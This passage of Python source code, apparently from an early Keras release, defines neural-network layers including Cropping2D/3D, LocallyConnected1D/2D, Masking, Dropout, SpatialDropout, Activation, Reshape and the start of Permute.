            If you never set it, then it will be "th".

    # Input shape
        4D tensor with shape:
        (samples, depth, first_axis_to_crop, second_axis_to_crop)

    # Output shape
        4D tensor with shape:
        (samples, depth, first_cropped_axis, second_cropped_axis)

    # Examples

    ```python
        # Crop the input 2D images or feature maps
        model = Sequential()
        model.add(Cropping2D(cropping=((2, 2), (4, 4)), input_shape=(3, 28, 28)))
        # now model.output_shape == (None, 3, 24, 20)
        model.add(Convolution2D(64, 3, 3, border_mode='same))
        model.add(Cropping2D(cropping=((2, 2), (2, 2))))
        # now model.output_shape == (None, 64, 20, 16)

    ```

    '''

    def __init__(self, cropping=((0, 0), (0, 0)), dim_ordering='default', **kwargs):
        super(Cropping2D, self).__init__(**kwargs)
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()
        self.cropping = tuple(cropping)
        assert len(self.cropping) == 2, 'cropping must be a tuple length of 2'
        assert len(self.cropping[0]) == 2, 'cropping[0] must be a tuple length of 2'
        assert len(self.cropping[1]) == 2, 'cropping[1] must be a tuple length of 2'
        assert dim_ordering in {'tf', 'th'}, 'dim_ordering must be in {tf, th}'
        self.dim_ordering = dim_ordering
        self.input_spec = [InputSpec(ndim=4)]        

    def build(self, input_shape):
        self.input_spec = [InputSpec(shape=input_shape)]

    def get_output_shape_for(self, input_shape):
        if self.dim_ordering == 'th':
            return (input_shape[0],
                    input_shape[1],
                    input_shape[2] - self.cropping[0][0] - self.cropping[0][1],
                    input_shape[3] - self.cropping[1][0] - self.cropping[1][1])
        elif self.dim_ordering == 'tf':
            return (input_shape[0],
                    input_shape[1] - self.cropping[0][0] - self.cropping[0][1],
                    input_shape[2] - self.cropping[1][0] - self.cropping[1][1],
                    input_shape[3])
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

    def call(self, x, mask=None):
        input_shape = self.input_spec[0].shape
        if self.dim_ordering == 'th':
            return x[:, 
                     :, 
                     self.cropping[0][0]:input_shape[2]-self.cropping[0][1],
                     self.cropping[1][0]:input_shape[3]-self.cropping[1][1]]
        elif self.dim_ordering == 'tf':
            return x[:, 
                     self.cropping[0][0]:input_shape[1]-self.cropping[0][1], 
                     self.cropping[1][0]:input_shape[2]-self.cropping[1][1],
                     :]

    def get_config(self):
        config = {'cropping': self.cropping}
        base_config = super(Cropping2D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))

class Cropping3D(Layer):
    '''Cropping layer for 2D input (e.g. picture).

    # Arguments
        cropping: tuple of tuple of int (length 3)
            How many units should be trimmed off at the beginning and end of
            the 3 cropping dimensions (kernel_dim1, kernel_dim2, kernerl_dim3).
        dim_ordering: 'th' or 'tf'.
            In 'th' mode, the channels dimension (the depth)
            is at index 1, in 'tf' mode is it at index 4.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
            If you never set it, then it will be "th".

    # Input shape
        5D tensor with shape:
        (samples, depth, first_axis_to_crop, second_axis_to_crop, third_axis_to_crop)

    # Output shape
        5D tensor with shape:
        (samples, depth, first_cropped_axis, second_cropped_axis, third_cropped_axis)
    
    '''

    def __init__(self, cropping=((1, 1), (1, 1), (1, 1)), dim_ordering='default', **kwargs):
        super(Cropping3D, self).__init__(**kwargs)
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()
        self.cropping = tuple(cropping)
        assert len(self.cropping) == 3, 'cropping must be a tuple length of 3'
        assert len(self.cropping[0]) == 2, 'cropping[0] must be a tuple length of 2'
        assert len(self.cropping[1]) == 2, 'cropping[1] must be a tuple length of 2'
        assert len(self.cropping[2]) == 2, 'cropping[2] must be a tuple length of 2'
        assert dim_ordering in {'tf', 'th'}, 'dim_ordering must be in {tf, th}'
        self.dim_ordering = dim_ordering
        self.input_spec = [InputSpec(ndim=4)]        

    def build(self, input_shape):
        self.input_spec = [InputSpec(shape=input_shape)]

    def get_output_shape_for(self, input_shape):
        if self.dim_ordering == 'th':
            dim1 = input_shape[2] - self.cropping[0][0] - self.cropping[0][1] if input_shape[2] is not None else None
            dim2 = input_shape[3] - self.cropping[1][0] - self.cropping[1][1] if input_shape[3] is not None else None
            dim3 = input_shape[4] - self.cropping[2][0] - self.cropping[2][1] if input_shape[4] is not None else None
            return (input_shape[0],
                    input_shape[1],
                    dim1,
                    dim2,
                    dim3)
        elif self.dim_ordering == 'tf':
            dim1 = input_shape[1] - self.cropping[0][0] - self.cropping[0][1] if input_shape[1] is not None else None
            dim2 = input_shape[2] - self.cropping[1][0] - self.cropping[1][1] if input_shape[2] is not None else None
            dim3 = input_shape[3] - self.cropping[2][0] - self.cropping[2][1] if input_shape[3] is not None else None
            return (input_shape[0],
                    dim1,
                    dim2,
                    dim3,
                    input_shape[4])
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

    def call(self, x, mask=None):
        input_shape = self.input_spec[0].shape
        if self.dim_ordering == 'th':
            return x[:, 
                     :, 
                     self.cropping[0][0]:input_shape[2]-self.cropping[0][1], 
                     self.cropping[1][0]:input_shape[3]-self.cropping[1][1], 
                     self.cropping[2][0]:input_shape[4]-self.cropping[2][1]]
        elif self.dim_ordering == 'tf':
            return x[:, 
                     self.cropping[0][0]:input_shape[1]-self.cropping[0][1], 
                     self.cropping[1][0]:input_shape[2]-self.cropping[1][1], 
                     self.cropping[2][0]:input_shape[3]-self.cropping[2][1], 
                     :]

    def get_config(self):
        config = {'cropping': self.cropping}
        base_config = super(Cropping3D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


# Aliases

Conv1D = Convolution1D
Conv2D = Convolution2D
Conv3D = Convolution3D
Deconv2D = Deconvolution2D
AtrousConv2D = AtrousConvolution2D
SeparableConv2D = SeparableConvolution2D






# -*- coding: utf-8 -*-
from __future__ import absolute_import

from keras import backend as K
from keras.layers import activations, initializations, regularizers, constraints
from keras.engine import Layer, InputSpec
from ..utils.np_utils import conv_output_length


class LocallyConnected1D(Layer):
    '''LocallyConnected1D layer works almost the same as Convolution1D layer,
    except that weights are unshared, that is, a different set of filters is
    applied at each different patch of the input. When using this layer as the
    first layer in a model, either provide the keyword argument `input_dim`
    (int, e.g. 128 for sequences of 128-dimensional vectors), or `input_shape`
    (tuple of integers, e.g. (10, 128) for sequences of 10 vectors of
    128-dimensional vectors). Also, you will need to fix shape of the previous
    layer, since the weights can only be defined with determined output shape.

    # Example
    ```python
        # apply a unshared weight convolution 1d of length 3 to a sequence with
        # 10 timesteps, with 64 output filters
        model = Sequential()
        model.add(LocallyConnected1D(64, 3, input_shape=(10, 32)))
        # now model.output_shape == (None, 8, 64)
        # add a new conv1d on top
        model.add(LocallyConnected1D(32, 3))
        # now model.output_shape == (None, 6, 32)
    ```
    # Arguments
        nb_filter: Dimensionality of the output.
        filter_length: The extension (spatial or temporal) of each filter.
        init: name of initialization function for the weights of the layer
            (see [initializations](../initializations.md)),
            or alternatively, Theano function to use for weights initialization.
            This parameter is only relevant if you don't pass a `weights` argument.
        activation: name of activation function to use
            (see [activations](../activations.md)),
            or alternatively, elementwise Theano function.
            If you don't specify anything, no activation is applied
            (ie. "linear" activation: a(x) = x).
        weights: list of numpy arrays to set as initial weights.
        border_mode: Only support 'valid'. Please make good use of
            ZeroPadding1D to achieve same output length.
        subsample_length: factor by which to subsample output.
        W_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the main weights matrix.
        b_regularizer: instance of [WeightRegularizer](../regularizers.md),
            applied to the bias.
        activity_regularizer: instance of [ActivityRegularizer](../regularizers.md),
            applied to the network output.
        W_constraint: instance of the [constraints](../constraints.md) module
            (eg. maxnorm, nonneg), applied to the main weights matrix.
        b_constraint: instance of the [constraints](../constraints.md) module,
            applied to the bias.
        bias: whether to include a bias (i.e. make the layer affine rather than linear).
        input_dim: Number of channels/dimensions in the input.
            Either this argument or the keyword argument `input_shape`must be
            provided when using this layer as the first layer in a model.
        input_length: Length of input sequences, when it is constant.
            This argument is required if you are going to connect
            `Flatten` then `Dense` layers upstream
            (without it, the shape of the dense outputs cannot be computed).
    # Input shape
        3D tensor with shape: `(samples, steps, input_dim)`.
    # Output shape
        3D tensor with shape: `(samples, new_steps, nb_filter)`.
        `steps` value might have changed due to padding.
    '''
    def __init__(self, nb_filter, filter_length,
                 init='uniform', activation='linear', weights=None,
                 border_mode='valid', subsample_length=1,
                 W_regularizer=None, b_regularizer=None, activity_regularizer=None,
                 W_constraint=None, b_constraint=None,
                 bias=True, input_dim=None, input_length=None, **kwargs):
        if border_mode != 'valid':
            raise Exception('Invalid border mode for LocallyConnected1D '
                            '(only "valid" is supported):', border_mode)
        self.nb_filter = nb_filter
        self.filter_length = filter_length
        self.init = initializations.get(init, dim_ordering='th')
        self.activation = activations.get(activation)

        self.border_mode = border_mode
        self.subsample_length = subsample_length

        self.W_regularizer = regularizers.get(W_regularizer)
        self.b_regularizer = regularizers.get(b_regularizer)
        self.activity_regularizer = regularizers.get(activity_regularizer)

        self.W_constraint = constraints.get(W_constraint)
        self.b_constraint = constraints.get(b_constraint)

        self.bias = bias
        self.input_spec = [InputSpec(ndim=3)]
        self.initial_weights = weights
        self.input_dim = input_dim
        self.input_length = input_length
        if self.input_dim:
            kwargs['input_shape'] = (self.input_length, self.input_dim)
        super(LocallyConnected1D, self).__init__(**kwargs)

    def build(self, input_shape):
        input_dim = input_shape[2]
        _, output_length, nb_filter = self.get_output_shape_for(input_shape)

        self.W_shape = (output_length, self.filter_length * input_dim, nb_filter)
        self.W = self.init(self.W_shape, name='{}_W'.format(self.name))
        if self.bias:
            self.b = K.zeros((output_length, self.nb_filter), name='{}_b'.format(self.name))
            self.trainable_weights = [self.W, self.b]
        else:
            self.trainable_weights = [self.W]

        self.regularizers = []
        if self.W_regularizer:
            self.W_regularizer.set_param(self.W)
            self.regularizers.append(self.W_regularizer)
        if self.b_regularizer:
            self.b_regularizer.set_param(self.b)
            self.regularizers.append(self.b_regularizer)
        if self.activity_regularizer:
            self.activity_regularizer.set_layer(self)
            self.regularizers.append(self.activity_regularizer)

        self.constraints = {}
        if self.W_constraint:
            self.constraints[self.W] = self.W_constraint
        if self.b_constraint:
            self.constraints[self.b] = self.b_constraint

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)
            del self.initial_weights

    def get_output_shape_for(self, input_shape):
        length = conv_output_length(input_shape[1],
                                    self.filter_length,
                                    self.border_mode,
                                    self.subsample_length)
        return (input_shape[0], length, self.nb_filter)

    def call(self, x, mask=None):
        stride = self.subsample_length
        output_length, feature_dim, nb_filter = self.W_shape

        xs = []
        for i in range(output_length):
            slice_length = slice(i * stride, i * stride + self.filter_length)
            xs.append(K.reshape(x[:, slice_length, :], (1, -1, feature_dim)))
        x_aggregate = K.concatenate(xs, axis=0)
        # (output_length, batch_size, nb_filter)
        output = K.batch_dot(x_aggregate, self.W)
        output = K.permute_dimensions(output, (1, 0, 2))

        if self.bias:
            output += K.reshape(self.b, (1, output_length, nb_filter))

        output = self.activation(output)
        return output

    def get_config(self):
        config = {'nb_filter': self.nb_filter,
                  'filter_length': self.filter_length,
                  'init': self.init.__name__,
                  'activation': self.activation.__name__,
                  'border_mode': self.border_mode,
                  'subsample_length': self.subsample_length,
                  'W_regularizer': self.W_regularizer.get_config() if self.W_regularizer else None,
                  'b_regularizer': self.b_regularizer.get_config() if self.b_regularizer else None,
                  'activity_regularizer': self.activity_regularizer.get_config() if self.activity_regularizer else None,
                  'W_constraint': self.W_constraint.get_config() if self.W_constraint else None,
                  'b_constraint': self.b_constraint.get_config() if self.b_constraint else None,
                  'bias': self.bias,
                  'input_dim': self.input_dim,
                  'input_length': self.input_length}
        base_config = super(LocallyConnected1D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class LocallyConnected2D(Layer):
    '''LocallyConnected2D layer works almost the same as Convolution2D layer,
    except that weights are unshared, that is, a different set of filters is
    applied at each different patch of the input. When using this layer as the
    first layer in a model, provide the keyword argument `input_shape` (tuple
    of integers, does not include the sample axis), e.g.
    `input_shape=(3, 128, 128)` for 128x128 RGB pictures. Also, you will need
    to fix shape of the previous layer, since the weights can only be defined
    with determined output shape.

    # Examples
    ```python
        # apply a 3x3 unshared weights convolution with 64 output filters on a 32x32 image:
        model = Sequential()
        model.add(LocallyConnected2D(64, 3, 3, input_shape=(3, 32, 32)))
        # now model.output_shape == (None, 64, 30, 30)
        # notice that this layer will consume (30*30)*(3*3*3*64) + (30*30)*64 parameters

        # add a 3x3 unshared weights convolution on top, with 32 output filters:
        model.add(LocallyConnected2D(32, 3, 3))
        # now model.output_shape == (None, 32, 28, 28)
    ```

    # Arguments
        nb_filter: Number of convolution filters to use.
        nb_row: Number of rows in the convolution kernel.
        nb_col: Number of columns in the convolution kernel.
        init: name of initialization function for the weights of the layer
            (see [initializations](../initializations.md)), or alternatively,
            Theano function to use for weights initialization.
            This parameter is only relevant if you don't pass
            a `weights` argument.
        activation: name of activation function to use
            (see [activations](../activations.md)),
            or alternatively, elementwise Theano function.
            If you don't specify anything, no activation is applied
            (ie. "linear" activation: a(x) = x).
        weights: list of numpy arrays to set as initial weights.
        border_mode: Only support 'valid'. Please make good use of
            ZeroPadding2D to achieve same output shape.
        subsample: tuple of length 2. Factor by which to subsample output.
            Also called strides elsewhere.
        W_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the main weights matrix.
        b_regularizer: instance of [WeightRegularizer](../regularizers.md),
            applied to the bias.
        activity_regularizer: instance of [ActivityRegularizer](../regularizers.md),
            applied to the network output.
        W_constraint: instance of the [constraints](../constraints.md) module
            (eg. maxnorm, nonneg), applied to the main weights matrix.
        b_constraint: instance of the [constraints](../constraints.md) module,
            applied to the bias.
        dim_ordering: 'th' or 'tf'. In 'th' mode, the channels dimension
            (the depth) is at index 1, in 'tf' mode is it at index 3.
        bias: whether to include a bias (i.e. make the layer affine rather than linear).

    # Input shape
        4D tensor with shape:
        `(samples, channels, rows, cols)` if dim_ordering='th'
        or 4D tensor with shape:
        `(samples, rows, cols, channels)` if dim_ordering='tf'.

    # Output shape
        4D tensor with shape:
        `(samples, nb_filter, new_rows, new_cols)` if dim_ordering='th'
        or 4D tensor with shape:
        `(samples, new_rows, new_cols, nb_filter)` if dim_ordering='tf'.
        `rows` and `cols` values might have changed due to padding.
    '''
    def __init__(self, nb_filter, nb_row, nb_col,
                 init='glorot_uniform', activation='linear', weights=None,
                 border_mode='valid', subsample=(1, 1),
                 dim_ordering='default',
                 W_regularizer=None, b_regularizer=None, activity_regularizer=None,
                 W_constraint=None, b_constraint=None,
                 bias=True, **kwargs):
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()
        if border_mode != 'valid':
            raise Exception('Invalid border mode for LocallyConnected2D '
                            '(only "valid" is supported):', border_mode)
        self.nb_filter = nb_filter
        self.nb_row = nb_row
        self.nb_col = nb_col
        self.init = initializations.get(init, dim_ordering=dim_ordering)
        self.activation = activations.get(activation)

        self.border_mode = border_mode
        self.subsample = tuple(subsample)
        assert dim_ordering in {'tf', 'th'}, 'dim_ordering must be in {tf, th}'
        self.dim_ordering = dim_ordering

        self.W_regularizer = regularizers.get(W_regularizer)
        self.b_regularizer = regularizers.get(b_regularizer)
        self.activity_regularizer = regularizers.get(activity_regularizer)

        self.W_constraint = constraints.get(W_constraint)
        self.b_constraint = constraints.get(b_constraint)

        self.bias = bias
        self.input_spec = [InputSpec(ndim=4)]
        self.initial_weights = weights
        super(LocallyConnected2D, self).__init__(**kwargs)

    def build(self, input_shape):
        output_shape = self.get_output_shape_for(input_shape)
        if self.dim_ordering == 'th':
            _, nb_filter, output_row, output_col = output_shape
            input_filter = input_shape[1]
        elif self.dim_ordering == 'tf':
            _, output_row, output_col, nb_filter = output_shape
            input_filter = input_shape[3]
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

        self.output_row = output_row
        self.output_col = output_col
        self.W_shape = (output_row * output_col, self.nb_row * self.nb_col * input_filter, nb_filter)
        self.W = self.init(self.W_shape, name='{}_W'.format(self.name))

        if self.bias:
            self.b = K.zeros((output_row, output_col, nb_filter), name='{}_b'.format(self.name))
            self.trainable_weights = [self.W, self.b]
        else:
            self.trainable_weights = [self.W]

        self.regularizers = []
        if self.W_regularizer:
            self.W_regularizer.set_param(self.W)
            self.regularizers.append(self.W_regularizer)
        if self.bias and self.b_regularizer:
            self.b_regularizer.set_param(self.b)
            self.regularizers.append(self.b_regularizer)
        if self.activity_regularizer:
            self.activity_regularizer.set_layer(self)
            self.regularizers.append(self.activity_regularizer)

        self.constraints = {}
        if self.W_constraint:
            self.constraints[self.W] = self.W_constraint
        if self.bias and self.b_constraint:
            self.constraints[self.b] = self.b_constraint

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)
            del self.initial_weights

    def get_output_shape_for(self, input_shape):
        if self.dim_ordering == 'th':
            rows = input_shape[2]
            cols = input_shape[3]
        elif self.dim_ordering == 'tf':
            rows = input_shape[1]
            cols = input_shape[2]
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

        rows = conv_output_length(rows, self.nb_row,
                                  self.border_mode, self.subsample[0])
        cols = conv_output_length(cols, self.nb_col,
                                  self.border_mode, self.subsample[1])

        if self.dim_ordering == 'th':
            return (input_shape[0], self.nb_filter, rows, cols)
        elif self.dim_ordering == 'tf':
            return (input_shape[0], rows, cols, self.nb_filter)
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

    def call(self, x, mask=None):
        stride_row, stride_col = self.subsample
        _, feature_dim, nb_filter = self.W_shape

        if self.dim_ordering == 'th':
            if K._backend == 'theano':
                output = []
                for i in range(self.output_row):
                    for j in range(self.output_col):
                        slice_row = slice(i * stride_row,
                                          i * stride_row + self.nb_row)
                        slice_col = slice(j * stride_col,
                                          j * stride_col + self.nb_col)
                        x_flatten = K.reshape(x[:, :, slice_row, slice_col], (1, -1, feature_dim))
                        output.append(K.dot(x_flatten, self.W[i * self.output_col + j, :, :]))
                output = K.concatenate(output, axis=0)
            else:
                xs = []
                for i in range(self.output_row):
                    for j in range(self.output_col):
                        slice_row = slice(i * stride_row,
                                          i * stride_row + self.nb_row)
                        slice_col = slice(j * stride_col,
                                          j * stride_col + self.nb_col)
                        xs.append(K.reshape(x[:, :, slice_row, slice_col], (1, -1, feature_dim)))
                x_aggregate = K.concatenate(xs, axis=0)
                output = K.batch_dot(x_aggregate, self.W)
            output = K.reshape(output, (self.output_row, self.output_col, -1, nb_filter))
            output = K.permute_dimensions(output, (2, 3, 0, 1))
        elif self.dim_ordering == 'tf':
            xs = []
            for i in range(self.output_row):
                for j in range(self.output_col):
                    slice_row = slice(i * stride_row,
                                      i * stride_row + self.nb_row)
                    slice_col = slice(j * stride_col,
                                      j * stride_col + self.nb_col)
                    xs.append(K.reshape(x[:, slice_row, slice_col, :], (1, -1, feature_dim)))
            x_aggregate = K.concatenate(xs, axis=0)
            output = K.batch_dot(x_aggregate, self.W)
            output = K.reshape(output, (self.output_row, self.output_col, -1, nb_filter))
            output = K.permute_dimensions(output, (2, 0, 1, 3))
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

        if self.bias:
            if self.dim_ordering == 'th':
                output += K.reshape(self.b, (1, nb_filter, self.output_row, self.output_col))
            elif self.dim_ordering == 'tf':
                output += K.reshape(self.b, (1, self.output_row, self.output_col, nb_filter))
            else:
                raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

        output = self.activation(output)
        return output

    def get_config(self):
        config = {'nb_filter': self.nb_filter,
                  'nb_row': self.nb_row,
                  'nb_col': self.nb_col,
                  'init': self.init.__name__,
                  'activation': self.activation.__name__,
                  'border_mode': self.border_mode,
                  'subsample': self.subsample,
                  'dim_ordering': self.dim_ordering,
                  'W_regularizer': self.W_regularizer.get_config() if self.W_regularizer else None,
                  'b_regularizer': self.b_regularizer.get_config() if self.b_regularizer else None,
                  'activity_regularizer': self.activity_regularizer.get_config() if self.activity_regularizer else None,
                  'W_constraint': self.W_constraint.get_config() if self.W_constraint else None,
                  'b_constraint': self.b_constraint.get_config() if self.b_constraint else None,
                  'bias': self.bias}
        base_config = super(LocallyConnected2D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))






# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division

import numpy as np

import copy
import inspect
import types as python_types
import marshal
import sys
import warnings

from .. import backend as K
from .. import activations, initializations, regularizers, constraints
from ..engine import InputSpec, Layer, Merge
from ..regularizers import ActivityRegularizer


class Masking(Layer):
    '''Masks an input sequence by using a mask value to
    identify timesteps to be skipped.

    For each timestep in the input tensor (dimension #1 in the tensor),
    if all values in the input tensor at that timestep
    are equal to `mask_value`, then the timestep will masked (skipped)
    in all downstream layers (as long as they support masking).

    If any downstream layer does not support masking yet receives such
    an input mask, an exception will be raised.

    # Example

    Consider a Numpy data array `x` of shape `(samples, timesteps, features)`,
    to be fed to a LSTM layer.
    You want to mask timestep #3 and #5 because you lack data for
    these timesteps. You can:

        - set `x[:, 3, :] = 0.` and `x[:, 5, :] = 0.`
        - insert a `Masking` layer with `mask_value=0.` before the LSTM layer:

    ```python
        model = Sequential()
        model.add(Masking(mask_value=0., input_shape=(timesteps, features)))
        model.add(LSTM(32))
    ```
    '''
    def __init__(self, mask_value=0., **kwargs):
        self.supports_masking = True
        self.mask_value = mask_value
        super(Masking, self).__init__(**kwargs)

    def compute_mask(self, input, input_mask=None):
        return K.any(K.not_equal(input, self.mask_value), axis=-1)

    def call(self, x, mask=None):
        boolean_mask = K.any(K.not_equal(x, self.mask_value),
                             axis=-1, keepdims=True)
        return x * K.cast(boolean_mask, K.floatx())

    def get_config(self):
        config = {'mask_value': self.mask_value}
        base_config = super(Masking, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class Dropout(Layer):
    '''Applies Dropout to the input. Dropout consists in randomly setting
    a fraction `p` of input units to 0 at each update during training time,
    which helps prevent overfitting.

    # Arguments
        p: float between 0 and 1. Fraction of the input units to drop.

    # References
        - [Dropout: A Simple Way to Prevent Neural Networks from Overfitting](http://www.cs.toronto.edu/~rsalakhu/papers/srivastava14a.pdf)
    '''
    def __init__(self, p, **kwargs):
        self.p = p
        if 0. < self.p < 1.:
            self.uses_learning_phase = True
        self.supports_masking = True
        super(Dropout, self).__init__(**kwargs)

    def _get_noise_shape(self, x):
        return None

    def call(self, x, mask=None):
        if 0. < self.p < 1.:
            noise_shape = self._get_noise_shape(x)
            x = K.in_train_phase(K.dropout(x, self.p, noise_shape), x)
        return x

    def get_config(self):
        config = {'p': self.p}
        base_config = super(Dropout, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class SpatialDropout2D(Dropout):
    '''This version performs the same function as Dropout, however it drops
    entire 2D feature maps instead of individual elements. If adjacent pixels
    within feature maps are strongly correlated (as is normally the case in
    early convolution layers) then regular dropout will not regularize the
    activations and will otherwise just result in an effective learning rate
    decrease. In this case, SpatialDropout2D will help promote independence
    between feature maps and should be used instead.

    # Arguments
        p: float between 0 and 1. Fraction of the input units to drop.
        dim_ordering: 'th' or 'tf'. In 'th' mode, the channels dimension
            (the depth) is at index 1, in 'tf' mode is it at index 3.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
            If you never set it, then it will be "th".

    # Input shape
        4D tensor with shape:
        `(samples, channels, rows, cols)` if dim_ordering='th'
        or 4D tensor with shape:
        `(samples, rows, cols, channels)` if dim_ordering='tf'.

    # Output shape
        Same as input

    # References
        - [Efficient Object Localization Using Convolutional Networks](https://arxiv.org/pdf/1411.4280.pdf)
    '''
    def __init__(self, p, dim_ordering='default', **kwargs):
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()
        assert dim_ordering in {'tf', 'th'}, 'dim_ordering must be in {tf, th}'
        self.dim_ordering = dim_ordering
        super(SpatialDropout2D, self).__init__(p, **kwargs)

    def _get_noise_shape(self, x):
        input_shape = K.shape(x)
        if self.dim_ordering == 'th':
            noise_shape = (input_shape[0], input_shape[1], 1, 1)
        elif self.dim_ordering == 'tf':
            noise_shape = (input_shape[0], 1, 1, input_shape[3])
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)
        return noise_shape


class SpatialDropout3D(Dropout):
    '''This version performs the same function as Dropout, however it drops
    entire 3D feature maps instead of individual elements. If adjacent voxels
    within feature maps are strongly correlated (as is normally the case in
    early convolution layers) then regular dropout will not regularize the
    activations and will otherwise just result in an effective learning rate
    decrease. In this case, SpatialDropout3D will help promote independence
    between feature maps and should be used instead.

    # Arguments
        p: float between 0 and 1. Fraction of the input units to drop.
        dim_ordering: 'th' or 'tf'.
            In 'th' mode, the channels dimension (the depth)
            is at index 1, in 'tf' mode is it at index 4.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
            If you never set it, then it will be "th".

    # Input shape
        5D tensor with shape:
        `(samples, channels, dim1, dim2, dim3)` if dim_ordering='th'
        or 5D tensor with shape:
        `(samples, dim1, dim2, dim3, channels)` if dim_ordering='tf'.

    # Output shape
        Same as input

    # References
        - [Efficient Object Localization Using Convolutional Networks](https://arxiv.org/pdf/1411.4280.pdf)
    '''
    def __init__(self, p, dim_ordering='default', **kwargs):
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()
        assert dim_ordering in {'tf', 'th'}, 'dim_ordering must be in {tf, th}'
        self.dim_ordering = dim_ordering
        super(SpatialDropout3D, self).__init__(p, **kwargs)

    def _get_noise_shape(self, x):
        input_shape = K.shape(x)
        if self.dim_ordering == 'th':
            noise_shape = (input_shape[0], input_shape[1], 1, 1, 1)
        elif self.dim_ordering == 'tf':
            noise_shape = (input_shape[0], 1, 1, 1, input_shape[4])
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)
        return noise_shape


class Activation(Layer):
    '''Applies an activation function to an output.

    # Arguments
        activation: name of activation function to use
            (see: [activations](../activations.md)),
            or alternatively, a Theano or TensorFlow operation.

    # Input shape
        Arbitrary. Use the keyword argument `input_shape`
        (tuple of integers, does not include the samples axis)
        when using this layer as the first layer in a model.

    # Output shape
        Same shape as input.
    '''
    def __init__(self, activation, **kwargs):
        self.supports_masking = True
        self.activation = activations.get(activation)
        super(Activation, self).__init__(**kwargs)

    def call(self, x, mask=None):
        return self.activation(x)

    def get_config(self):
        config = {'activation': self.activation.__name__}
        base_config = super(Activation, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class Reshape(Layer):
    '''Reshapes an output to a certain shape.

    # Arguments
        target_shape: target shape. Tuple of integers,
            does not include the samples dimension (batch size).

    # Input shape
        Arbitrary, although all dimensions in the input shaped must be fixed.
        Use the keyword argument `input_shape`
        (tuple of integers, does not include the samples axis)
        when using this layer as the first layer in a model.

    # Output shape
        `(batch_size,) + target_shape`

    # Example

    ```python
        # as first layer in a Sequential model
        model = Sequential()
        model.add(Reshape((3, 4), input_shape=(12,)))
        # now: model.output_shape == (None, 3, 4)
        # note: `None` is the batch dimension

        # as intermediate layer in a Sequential model
        model.add(Reshape((6, 2)))
        # now: model.output_shape == (None, 6, 2)
    ```
    '''
    def __init__(self, target_shape, **kwargs):
        super(Reshape, self).__init__(**kwargs)
        self.target_shape = tuple(target_shape)

    def _fix_unknown_dimension(self, input_shape, output_shape):
        '''Find and replace a single missing dimension in an output shape
        given an input shape.

        A near direct port of the internal Numpy function _fix_unknown_dimension
        in numpy/core/src/multiarray/shape.c

        # Arguments
            input_shape: shape of array being reshaped

            output_shape: desired shape of the array with at most
                a single -1 which indicates a dimension that should be
                derived from the input shape.

        # Returns
            The new output shape with a -1 replaced with its computed value.

            Raises a ValueError if the total array size of the output_shape is
            different then the input_shape, or more then one unknown dimension
            is specified.
        '''
        output_shape = list(output_shape)

        msg = 'total size of new array must be unchanged'

        known, unknown = 1, None
        for index, dim in enumerate(output_shape):
            if dim < 0:
                if unknown is None:
                    unknown = index
                else:
                    raise ValueError('can only specify one unknown dimension')
            else:
                known *= dim

        original = np.prod(input_shape, dtype=int)
        if unknown is not None:
            if known == 0 or original % known != 0:
                raise ValueError(msg)
            output_shape[unknown] = original // known
        elif original != known:
            raise ValueError(msg)

        return tuple(output_shape)

    def get_output_shape_for(self, input_shape):
        return (input_shape[0],) + self._fix_unknown_dimension(input_shape[1:], self.target_shape)

    def call(self, x, mask=None):
        # In case the target shape is not fully defined,
        # we need access to the shape of x.
        # solution:
        # 1) rely on x._keras_shape
        # 2) fallback: K.int_shape
        target_shape = self.target_shape
        if -1 in target_shape:
            # target shape not fully defined
            input_shape = None
            if hasattr(x, '_keras_shape'):
                input_shape = x._keras_shape
            elif hasattr(K, 'int_shape'):
                input_shape = K.int_shape(x)
            if input_shape is not None:
                target_shape = self.get_output_shape_for(input_shape)
        return K.reshape(x, (-1,) + target_shape)

    def get_config(self):
        config = {'target_shape': self.target_shape}
        base_config = super(Reshape, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class Permute(Layer):
    '''Permutes the dimensions of the input according to a given pattern.

    Useful for e.g. connecting RNNs and convnets together.

    # Example

    ```python
        model = Sequential()
        model.add(Permute((2, 1), input_shape=(10, 64)))
        # now: model.output_shape == (None, 64, 10)
        # note: `None` is the batch dimension
    ```

    # Arguments
        dims: Tuple of integers. Permutation pattern, does not include the
            samples dimension. Indexing starts at 1.
            For instance, `(2, 1)` permutes the first and second dimension
            of the input.

    # Input shape
        Arbitrary. Use the keyword argument `input_shape`
        (tuple of integers, does not include the samples axis)
        when using this layer as the first layer in a model.

    # Output shape
        Same as the input shape, but with the dimensions re-ordered according
        to the specified pattern.
    '''
    def __init__(self, dims, **kwargs):
        self.dims = tuple(dims)
        super(Permute, self).__init__(**kwargs)

    def get_output_shape_for(self, input_shape):
        input_shape = list(input_shape)
        output_shape = copy.copy(input_shape)
